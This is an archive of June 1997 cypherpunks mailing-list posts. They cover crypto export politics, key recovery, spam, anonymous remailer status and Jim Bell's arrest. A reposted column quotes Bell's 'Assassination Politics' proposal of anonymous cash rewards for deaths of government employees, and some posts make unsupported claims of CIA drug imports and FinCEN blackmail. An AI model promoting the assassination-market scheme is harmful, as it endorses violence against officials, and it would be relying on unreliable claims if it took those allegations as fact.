> harassing people simply for knowing me. (No arrest or charges so far.) ..."
> 
>   The charges were forthcoming.
> 
>   Jim Bell was arrested on Friday, May 16, and has been held ever since,
> without bond, in the Pierce County Jail in Tacoma, Wash., on a federal
> complaint which alleges:
> 
>   "Beginning at a time unknown, and continuing to the present, ... JAMES
> DALTON BELL did corruptly obstruct and impede ... the due administration 
> of the internal revenue laws, among other things, by collecting the names 
> and home addresses of agents and employees of the Internal Revenue Service
> ('IRS') in order to intimidate them in the performance of their official
> functions; by soliciting others to join in a scheme known as 'Assassination
> Politics' whereby those who killed IRS employees would be rewarded; by
> using social security account numbers that were not assigned to him to 
> hide his assets and thereby impede the IRS's ability to collect his unpaid
> taxes, and by contaminating the area outside of the office of the IRS in
> Vancouver, Washington, with mercaptan, a chemical that causes a powerful
> odor."
> 
>   Nor does the complaint stop short with an alleged "stink bomb" floor 
> mat, proceeding to allege that Mr. Bell has at times discussed poisoning 
> water supplies, sabotaging government computers, and, well ... 
> "overthrowing the Government of the United States."
> 
>   The question here would appear to be whether Mr. Bell has actually 
> taken substantive steps, as alleged, to "implement" the theory in his 
> speculative Internet essay, or whether it is the IRS -- who since Feb. 20 
> have seized the heretofore non-violent Mr. Bell's car, wages and bank 
> accounts (presumably stymying at the very last minute his plan to 
> "overthrow the Government of the United States") -- who are doing the 
> "threatening and intimidating," in an attempt to send a message to anyone 
> who dares speculate about how justice might ever be obtained against 
> federal agents ... given that they are rarely if ever indicted, even for 
> the willful murder of children, as at Waco and Ruby Ridge.
> 
>   If the defendant Bell has indeed taken substantive steps to set in 
> motion the murder of any specific government agent, that of course is a 
> crime, for which he should expect to face the consequences.
> 
>   On the other hand, if writings of the "what if someone ..." variety 
> have now become a felony so serious that one can be seized and held 
> without bond, most of America's adventure and science fiction writers -- 
> who up till now have felt safe spinning thinly-veiled yarns about 
> near-future government coups and such -- had better watch their 
> backsides.
> 
>   Mr. Bell's attorney, Peter Avenia of the Public Defenders Office in
> Tacoma, says he fully expects Mr. Bell to be indicted by a federal grand
> jury within the next few weeks.
> 
>   I asked Mr. Avenia if he believes the case will present substantive 
> First Amendment questions.
> 
>   "It certainly does concern me."
> 
>   Is the IRS making an example of Mr. Bell, to chill any further
> discussions on the Internet of how justice can ever be had in the case of
> uniformed killers who apparently need no longer fear being indicted or
> brought to trial in this country?
> 
>   "It's certainly a possibility. In the context of the Oklahoma City
> bombing it's certainly a hostile atmosphere for any such defendant. I 
> think we can certainly ask whether the government is trying to send a 
> message to people who pen inflammatory writings."
> 
>   Defense attorney Avenia can be reached at the Federal Public Defenders
> Office, 1551 Broadway, Suite 501, Tacoma, Wash. 98402. The essay
> "Assassination Politics" is available on the Internet at
> http://jya.com/ap.htm. The current federal complaint against Mr. Bell can
> be found at http://jya.com/jimbell3.htm
> 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The 
> web site for the Suprynowicz column is at http://www.nguworld.com/vindex/
> 
> ***
> 
> Vin Suprynowicz,   vin@lvrj.com
> 
> Voir Dire: A French term which means "jury stacking."
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 23 Jun 1997 06:27:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <199706222220.AAA26096@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>  Digital Commerce *is* Financial Cryptography,
>  Financial Cryptography *is* Strong Cryptography,
>  therefore,
>  Digital Commerce *is* Strong Cryptography.
>  and, therefore,
>  No Strong Cryptography, no Digital Commerce.

Why can't escrowed ecash support digital commerce?  Strong crypto with
a government backdoor.  That's what you're offered.  Prove it can't work.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 23 Jun 1997 08:47:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Laying PipeNet
In-Reply-To: <v03102802afd305494670@[207.167.93.63]>
Message-ID: <5okgl4$tk4@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <199706222045.VAA00836@server.test.net>,
Adam Back  <aba@dcs.ex.ac.uk> wrote:
>Does any of the CU-SeeMe stuff come with source code?  Cons: at 28.8k
>modem speed, the image frame rate is poor, but worse the audio is near
>unusable, also limited to 8 conference participants.

I haven't used CU-SeeMe precisely because I couldn't find either source
or a Linux binary.  I do use the Mbone tools (vic, vat, etc.) somewhat
often. :-)

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 16:38:52 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: McCain Talks Crypto
In-Reply-To: <3.0.2.32.19970621204242.04307430@mail.teleport.com>
Message-ID: <3.0.2.32.19970623012309.030e9548@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:42 PM 6/21/97 -0700, Alan Olsen wrote:
>This guy needs to connect to a clue server soon before it is too late...

>http://www.wired.com/news/politics/story/4588.html           
>           McCain Talks Crypto          by Todd Lappin 
>
>           6:04pm  20.Jun.97.PDT Just got off the phone with Senator
>           John McCain. 
>...  Despite the fact that his bill cuts
>           the legs from under Pro-CODE - a bill by Montana
>           Republican Conrad Burns that would scrap the
>           export controls - McCain said he's eager to negotiate
>           on the issues. 
>
>           Here are the highlights of our 5-minute conversation
>           - during which a certain two-word term was repeated
>           again and again. Let's see if you can spot it. 
>
>           On the rationale behind S909:
>           "I've always said that national security is a primary
>           concern - and based on my own experience [nearly
>           six years as a Vietnam POW], I've had a lot of time to
>           consider how important that really is." 
>           "... I'm astonished that any industry would consider
>           their priorities to be so important that they override
>           national security concerns." 
>
>           On the rival Pro-CODE bill:
>           "I'm all for Pro-CODE - except for its impact on
>           national security. 
>
>           On the future:
>           "I promise you, now that we've adopted this
>           legislation, we will sit down and work this out with all
>           the parties involved. As I've said before, from a

Sigh.  Make the laws and then work out the details -- I don't think so :-)

However, if his real concern IS national security, then perhaps
he can be reached - not only is our real national security based on
the economy, but any vaguely competent foreign government or
major terrorist organization has access to all the crypto they need:
unlike fully assembled missiles and plutonium, which are hard to get and
hard to smuggle across borders, crypto is easy to buy anywhere in the US,
and the Enemies Of The State just have to take one copy out, by laptop,
by floppy disk, by modem, or by satellite, and you've lost control.

I assume he knows he's using the child pornography excuse as a 
cynical play to the media - the obvious response is that 
	McCain's Pro-Forgery Bill
by making good crypto tools less available, and by making sure
that people will choose to get their important digital certificates
from multiple CAs and non-US-controlled CAs, or just go uncertified,
will make it forgery more common and digital signatures less trusted.
So <wave hands wildly here> your kids are more likely to have fake IDs
like we did to drink when we were younger and <wave hands again>
that'll lead to more pornography on the net, imported from foreign
countries that have lower standards than our fine American communities, and...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 23 Jun 1997 17:07:25 +0800
To: cypherpunks@cyberpass.net
Subject: recoverability
Message-ID: <v0300780fafd1a6343843@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Although there is still talks much about key escrow/mgmt/recovery, the
policy on KMI recoverable products appears to be framed in terms of
plaintext recovery.  E.g., at a BXA crypto reg seminar, the handout used
the following def'n:

"Products which allow government officials to obtain, under proper legal
authority and without the cooperation or knowledge of the user, the
plaintext of the encrypted data and communications."

Lee


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM645jbk2KqHYSFEtEQKFIQCbBiazwaIWeWM28iLHOKIInzCj+nAAn3oj
9OddweX2M+fIa47cigevhiR1
=YuHD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 23 Jun 1997 10:05:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <199706230158.DAA25236@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Free speech - Unless Govt. doesn't like it

>From           talltom <"talltom(SPAMBLOCKER)"@ipns.com>
Organization   Alternate Access Inc.
Date           Sat, 21 Jun 1997 19:23:39 -0700
Newsgroups     or.politics
Message-ID     <33AC8CAB.199F@ipns.com>

This is in reference to a local, that's being held incommunicado
in Tacoma. I've personally tried to contact Jim and the Marshalls 
office said they'd "try" to get a message to him, wouldn't give me an 
address, and were REALLY interested in my address.

 I believe the reason for holding Jim incomunicado is that the ACLU
requires that the accused ask them for help, and the feds know that
if Jim can't ask he won't get their help.

Vin covers the situation nicely...

[Vin Suprynowicz column:]

    In the summer of 1995, 39-year-old electronics engineer Jim Bell of
Vancouver, Wash. (coincidentally the scene of the climactic battle 
between militia and central government forces in Ian Slater's current 
potboiler paperback "Showdown: U.S.A. vs. Militia,") penned an intriguing 
and controversial essay called "Assassination Politics," which has since 
been kicking around various Internet discussion groups, triggering 
responses from delight to outrage.

  This section from Mr. Bell's introduction gives the gist:

  "A few months ago, I had a truly and quite literally 'revolutionary'
idea, and I jokingly called it 'Assassination Politics': I speculated on
the question of whether an organization could be set up to legally 
announce that it would be awarding a cash prize to somebody who correctly
'predicted' the death of one of a list of violators of rights, usually
either government employees, officeholders, or appointees. It could ask 
for anonymous contributions from the public, and individuals would be able 
send those contributions using digital cash.

  "I also speculated that using modern methods of public-key encryption 
and anonymous 'digital cash,' it would be possible to make such awards in 
such a way so that nobody knows who is getting awarded the money, only that 
the award is being given. Even the organization itself would have no
information that could help the authorities find the person responsible 
for the prediction, let alone the one who caused the death. ...

  "Obviously, the problem with the general case is that the victim may be
totally innocent under libertarian principles, which would make the 
killing a crime, leading to the question of whether the person offering the 
money was himself guilty.

  "(But) my speculation assumed that the 'victim' is a government 
employee, presumably one who is not merely taking a paycheck of stolen tax 
dollars, but also is guilty of extra violations of rights beyond this. 
(Government agents responsible for the Ruby Ridge incident and Waco come 
to mind.) In receiving such money and in his various acts, he violates the
'Non-aggression Principle' (NAP) and thus, presumably, any acts against 
him are not the initiation of force under libertarian principles.

  "The organization set up to manage such a system could, presumably, 
make up a list of people who had seriously violated the NAP, but who would 
not see justice in our courts due to the fact that their actions were done 
at the behest of the government. ..."

  In a followup essay titled "Fishing Expedition Swims Against the Tide,"
published in the May 14 edition of the daily Portland Oregonian, Bell
wrote, in part:

  "... I've been openly debating the idea on the Internet since then with
anyone who will listen. My essay surprises many and shocks more than a
few, but I am pleased that such a truly revolutionary concept has been so
well received. Even the Columbian newspaper (www.columbian.com) has 
decided to add a pointer to the essay.

  "The only 'threat' in the essay is to the jobs of the people who have
been parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why, on April 1, 20 federal 
agents burst in and took my computer, told the news media I was 'armed and
dangerous,' and began engaging in a fishing expedition including 
harassing people simply for knowing me. (No arrest or charges so far.) ..."

  The charges were forthcoming.

  Jim Bell was arrested on Friday, May 16, and has been held ever since,
without bond, in the Pierce County Jail in Tacoma, Wash., on a federal
complaint which alleges:

  "Beginning at a time unknown, and continuing to the present, ... JAMES
DALTON BELL did corruptly obstruct and impede ... the due administration 
of the internal revenue laws, among other things, by collecting the names 
and home addresses of agents and employees of the Internal Revenue Service
('IRS') in order to intimidate them in the performance of their official
functions; by soliciting others to join in a scheme known as 'Assassination
Politics' whereby those who killed IRS employees would be rewarded; by
using social security account numbers that were not assigned to him to 
hide his assets and thereby impede the IRS's ability to collect his unpaid
taxes, and by contaminating the area outside of the office of the IRS in
Vancouver, Washington, with mercaptan, a chemical that causes a powerful
odor."

  Nor does the complaint stop short with an alleged "stink bomb" floor 
mat, proceeding to allege that Mr. Bell has at times discussed poisoning 
water supplies, sabotaging government computers, and, well ... 
"overthrowing the Government of the United States."

  The question here would appear to be whether Mr. Bell has actually 
taken substantive steps, as alleged, to "implement" the theory in his 
speculative Internet essay, or whether it is the IRS -- who since Feb. 20 
have seized the heretofore non-violent Mr. Bell's car, wages and bank 
accounts (presumably stymying at the very last minute his plan to 
"overthrow the Government of the United States") -- who are doing the 
"threatening and intimidating," in an attempt to send a message to anyone 
who dares speculate about how justice might ever be obtained against 
federal agents ... given that they are rarely if ever indicted, even for 
the willful murder of children, as at Waco and Ruby Ridge.

  If the defendant Bell has indeed taken substantive steps to set in 
motion the murder of any specific government agent, that of course is a 
crime, for which he should expect to face the consequences.

  On the other hand, if writings of the "what if someone ..." variety 
have now become a felony so serious that one can be seized and held 
without bond, most of America's adventure and science fiction writers -- 
who up till now have felt safe spinning thinly-veiled yarns about 
near-future government coups and such -- had better watch their 
backsides.

  Mr. Bell's attorney, Peter Avenia of the Public Defenders Office in
Tacoma, says he fully expects Mr. Bell to be indicted by a federal grand
jury within the next few weeks.

  I asked Mr. Avenia if he believes the case will present substantive 
First Amendment questions.

  "It certainly does concern me."

  Is the IRS making an example of Mr. Bell, to chill any further
discussions on the Internet of how justice can ever be had in the case of
uniformed killers who apparently need no longer fear being indicted or
brought to trial in this country?

  "It's certainly a possibility. In the context of the Oklahoma City
bombing it's certainly a hostile atmosphere for any such defendant. I 
think we can certainly ask whether the government is trying to send a 
message to people who pen inflammatory writings."

  Defense attorney Avenia can be reached at the Federal Public Defenders
Office, 1551 Broadway, Suite 501, Tacoma, Wash. 98402. The essay
"Assassination Politics" is available on the Internet at
http://jya.com/ap.htm. The current federal complaint against Mr. Bell can
be found at http://jya.com/jimbell3.htm

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The 
web site for the Suprynowicz column is at http://www.nguworld.com/vindex/

***

Vin Suprynowicz,   vin@lvrj.com

Voir Dire: A French term which means "jury stacking."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Mon, 23 Jun 1997 21:20:22 +0800
To: cypherpunks@toad.com
Subject: New PGP signatures
Message-ID: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Could I humbly request that people don't post the new (SHA?) PGP
signatures to the list for the time being as it's a pain in the ass for
those of us outside the US who don't yet have the ability to read them.
PGP 2.6.x error handling doesn't know what to do with them and it breaks
our mail-processing code.

	Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Date: Mon, 23 Jun 1997 18:48:06 +0800
To: Tim May <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <Pine.SOL.3.91.970623124902.559B-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I certainly agree with free speech and understand how it can be manipulated
by the scum bags at large in society, _BUT_ free speech is free speech.
The warts come from an ever increasing BENT society.

I still am concerned about kids being subject to material that is
inappropriate for their age group (what ever that may be).  So how do I
insure that my son/daugher does not get their hands on _THIS_ material?
Twenty seven years ago I took an oath to do whatever was needed to protect
and defend the constitution against all enemies (domestic and foreign)  But
what is the solution to this problem from a parents point of view?  Simple
- control the material.  Make it like liquor, guns, booze.  Oops.. for some
reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
problem.  That's easy, no Internet access.  Now my kid is at a
disadvantage!  I keep loosing here.  I don't like the way this is beginning
to feel!!

I'm sure that the community on this list has discussed this problem at
length.  What is the best defense?  How do we get the message out or,
better yet, deliver it?  

Whatever that is, we need to do the same thing for the 2nd Ammendment, and
the 3rd, and so on.

The challenge to write code could be fun, but maybe we should use our
collective wisdom to deliver the best of the best solutions (there may be
more than one) to our elected officials.  Load their mailboxes up with
solutions to problems.  Sooner or later more than one of them is going to
think its his/her idea and push it along.  Web sites can be set up to
assist them with details.  I'm sure you get the idea.

Just another citizen wondering if anything is going to be left for our
grandchildren.


>At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:
>
>>Thats fine but, i dont want to be invited to look at nasty naked
>>cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at
>>the mail box ?? BEsides i hate junk mail too, and if i could stick a no
>>junk mail sticker on my email i would.
>
>You're on the wrong list. We favor free speech, including inviting
>15-year-olds to look at pictures of their choosing on the Net. They don't
>_have_ to look, after all.
>
>Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or your
>versions in your own country. Or move to Iran. Or something.
>
>
>--Tim May
>
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 23 Jun 1997 22:34:34 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706231350.GAA13495@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 23 Jun 97 6:48:07 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
squirrel mix@squirrel.owl.de              --+-++++++++  1:38:27  99.98%
weasel   config@weasel.owl.de             --+-++++++++  1:39:11  99.98%
balls    remailer@huge.cajones.com         -+#######*#     9:47  99.93%
replay   remailer@replay.com              *-++********     4:18  99.90%
hidden   remailer@hidden.net              __.+-#######  7:22:42  99.88%
reno     middleman@cyberpass.net          -.---.-+++++  2:14:42  99.82%
winsock  winsock@rigel.cyberpass.net      ---.--.----   4:58:14  99.82%
jam      remailer@cypherpunks.ca          + ++**  ****    18:08  99.57%
cyber    alias@alias.cyberpass.net        +++**++*****    12:43  99.56%
lucifer  lucifer@dhp.com                  +-++ +++++++    41:58  99.38%
mix      mixmaster@remail.obscura.com     ..-.----.- -  9:33:04  99.32%
nym      config@nym.alias.net                 #*****##     1:05  88.62%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 19:46:56 +0800
To: cypherpunks@toad.com
Subject: Feds Recant on Mitnick
Message-ID: <1.5.4.32.19970623111954.006ba048@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     23 June 1997:

     New twist/ Feds Recant on Mitnick's Fugitive Status 

     Back in 1994, a supposedly fleeing Kevin Mitnick told anyone 
     who would listen he really wasn't a fugitive from justice. 
     He claimed to be just a paranoid hacker who didn't want to 
     stick around once his probation was up. As it turns out, he 
     may have been telling me the truth. In a federal court in Los 
     Angeles, the government admitted it had made a mistake in saying 
     that Mitnick was on the lam. 

     The admission may put an entirely different twist on the case.
     If Mitnick wasn't really a fugitive, a couple of probation
     violations mistakenly escalated into one the biggest manhunts
     in cyberspace. Petty offenses by Mitnick -- probably
     punishable by an extension of his probation -- spun into a
     nationwide cat-and-mouse game that drew a frenzy of media
     hype. Along the way, Mitnick, who may have been no more
     than a scofflaw, instead became the notorious criminal
     mastermind the authorities apparently wanted him to be. 

----------

Full report:

   http://jya.com/kmtwist.txt

Crypto news:

S.F. Judge Likely to Uphold Encryption Ruling
EEMA/ EEMA Slams UK Government Over Encryption Restrictions 
Two reports on prospects for the McCain/Kerrey bill
Two reports on the import of the DES crack

   http://jya.com/cn062397.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 00:55:47 +0800
To: cypherpunks@Algebra.COM
Subject: How did these people find our list?
In-Reply-To: <v03102803afd39f286d13@[207.167.93.63]>
Message-ID: <v03102801afd44ad76fad@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:31 AM -0700 6/23/97, Philip A. Mongelluzzo wrote:

>I still am concerned about kids being subject to material that is
>inappropriate for their age group (what ever that may be).  So how do I
>insure that my son/daugher does not get their hands on _THIS_ material?

Presumably by controlling them yourself. You can't demand that others limit
their thoughts, or their fucking words [added deliberately] just so that
little Johnny and Suzie won't ever be exposed to four letter words or even
images more suitable for adults.

If you don't want them exposed, don't let them be exposed. Simple.

>Twenty seven years ago I took an oath to do whatever was needed to protect
>and defend the constitution against all enemies (domestic and foreign)  But

Like the Congressvermin, you took the oath but failed to understood what
you were supposdly defending. (Actually, not to sound disrespectful, but as
there has been no credible threat of attack or invasion of the states in
America in at least 170 years, what you were largely agreeing to protect
and defend were the force projections of the U.S. military to places like
Viet Nam, Lebanon, Cuba, and Europe; and you were also protecting the
CIA-controlled C-5 cargo planes importing drugs into the U.S.)

"Congress shall make no law" does _not_ mean "Congress shall pass more and
more laws designed to protect children and other impressionable persons
against thoughts they shouldn't be having."



>what is the solution to this problem from a parents point of view?  Simple
>- control the material.  Make it like liquor, guns, booze.  Oops.. for some
>reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
>problem.  That's easy, no Internet access.  Now my kid is at a
>disadvantage!  I keep loosing here.  I don't like the way this is beginning
>to feel!!

Your problem, not mine, and not this list's, and not government's. If you
don't want your child to read certain items, or see certain things, or
think certain thoughts, it's up to you to control this.

Exactly analogous to a Muslim parent not wanting his child exposed to
heathen thoughts and images. And so on. (Really, it is precisely
analogous...think about it.)

>I'm sure that the community on this list has discussed this problem at
>length.  What is the best defense?  How do we get the message out or,
>better yet, deliver it?

No, actually we have not discussed this "problem" at length. No reason too,
as this is not a list about parenting and parental techniques and moral
teachings for children.

>Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>the 3rd, and so on.

Nope. You're on the wrong list. "Gun control" means being able to aim and
fire accurately and quickly.

>
>Just another citizen wondering if anything is going to be left for our
>grandchildren.

Not if people like you demand that government "do something!"


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 00:25:15 +0800
To: jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
Message-ID: <199706231604.JAA14744@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 23 Jun 97 at 22:52, Jason William RENNIE wrote:

> wouldn't make it worth it. Doesn't aybody in the US want to take it up
> and kill spam once and for all ?? You only need the legal precedent
> set.

Spam is free speech...  We, here in the USofA don't want any new 
laws, thank you.  We've got way more than we need right now.  Spam 
will never die!  Spam is free speech!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 00:57:03 +0800
To: Lee Tien <cypherpunks@cyberpass.net
Subject: Re: McCain's War for Security
In-Reply-To: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
Message-ID: <v03102803afd44f7f8796@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:23 PM -0700 6/22/97, Lee Tien wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Correct me if I'm wrong, but wasn't there also stuff in the article about
>how McCain had been badly stung by some "ethics" problem, which apparently
>was not really very serious but disturbed him personally and tainted his
>image?

Are you referrring to him being one of the four or five in the "S & L
scandal"? MCain was indeed one of them, along with Alan Cranston of
California, who elected not to run again, and several others. This was
indeed a big new story, lasting at least two years, and McCain's reputation
was hurt badly by it.

>If that's a correct remembering, then that sense of a need to restore his
>image may have made McCain a perfect target for "a treatment" by a clever
>Administration gunning for Pro-CODE (sponsored by Burns, a less powerful
>member of the Commerce Committee chaired by McCain, and someone already on
>McCain's bad side according to Declan).

And we may speculate that FinCEN and CIA had the goods on him, vis-a-vis
kickbacks, illegal contributions, bribes, and suchlike.

(FinCEN is the new J. Edgar Hoover, having dossiers of all financial
dealings. These dossiers can be used to make Congressvermin more compliant.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
